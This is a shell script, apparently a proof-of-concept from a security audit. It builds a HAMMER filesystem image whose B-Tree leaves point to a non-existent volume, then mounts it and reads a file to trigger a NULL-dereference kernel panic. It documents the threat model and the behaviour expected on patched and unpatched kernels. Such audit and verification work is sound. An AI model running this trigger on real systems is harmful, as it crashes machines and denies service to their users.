#!/bin/sh
# DF-0792 trigger: build a malicious HAMMER v1 image, mount it, read a file
# whose B-Tree leaf entries have been rewritten to reference a non-existent
# volume, and trigger the NULL deref in hammer_rel_volume(NULL) called
# unconditionally from hammer_io_direct_read / _indirect_read / _direct_write.
#
# Realism / preconditions (per the audit's realism test):
#   * Requires root to mount a HAMMER image (vfs.usermount=0 on this guest).
#   * Threat model: an admin mounts a HAMMER image obtained from an untrusted
#     source (USB stick, downloaded snapshot, etc.). Any read of a file whose
#     B-Tree leaves reference an out-of-range volume number panics the kernel.
#   * Impact: local DoS (NULL-deref / kernel panic). No memory corruption,
#     no info leak, no privilege escalation (pure NULL-pointer fetch).
#
# Expected output:
#   * Unpatched #0 kernel: kernel panic, guest dies in DDB
#       "Fatal trap 12: page fault while in kernel mode"
#       "fault virtual address = 0x0"
#       "Stopped at hammer_rel_interlock+0x20: movl (%r12),%ebx"
#     The guest becomes unresponsive; vm.sh status => down.
#
#   * Patched (fixed) kernel: the cat returns "cat: ...: Input/output error"
#     (EIO from the missing volume) and the guest stays up. No panic.
#
# Run from a root shell on the guest:
#   sh run.sh
set -e

WORK=/root/htest
IMG=$WORK/h.img
BAD_VOL=7

mkdir -p $WORK
echo "==> creating fresh 2 GiB image"
rm -f $IMG
truncate -s 2G $IMG
vnconfig -u vn0 2>/dev/null || true
vnconfig vn0 $IMG

echo "==> newfs_hammer (vol_version 6 so we can crc32 the btree node locally)"
newfs_hammer -L htest -V 6 -f /dev/vn0 >/dev/null

echo "==> mounting fresh HAMMER filesystem"
mkdir -p /mnt/htest
mount_hammer /dev/vn0 /mnt/htest

echo "==> writing a >= 64 KiB file (forces zone-10 large_data direct I/O path)"
dd if=/dev/urandom of=/mnt/htest/testfile bs=64k count=4 2>/dev/null
sync

echo "==> unmounting so we can corrupt the offline image"
umount /mnt/htest

echo "==> compiling the corruption tool"
cc -O2 -o $WORK/corrupt_hammer $WORK/corrupt_hammer.c

echo "==> flipping vol_no byte of every zone-10 leaf entry to $BAD_VOL (recomputing btree CRC)"
$WORK/corrupt_hammer $IMG $BAD_VOL

echo "==> re-mounting the now-malicious HAMMER image"
mount_hammer /dev/vn0 /mnt/htest

echo "==> reading the file -- this triggers the NULL deref on the unpatched kernel"
echo "    (on a fixed kernel this returns EIO and the guest stays up)"
cat /mnt/htest/testfile > /dev/null
RC=$?
echo "cat exit code: $RC"
echo "==> guest still alive:"
uname -a
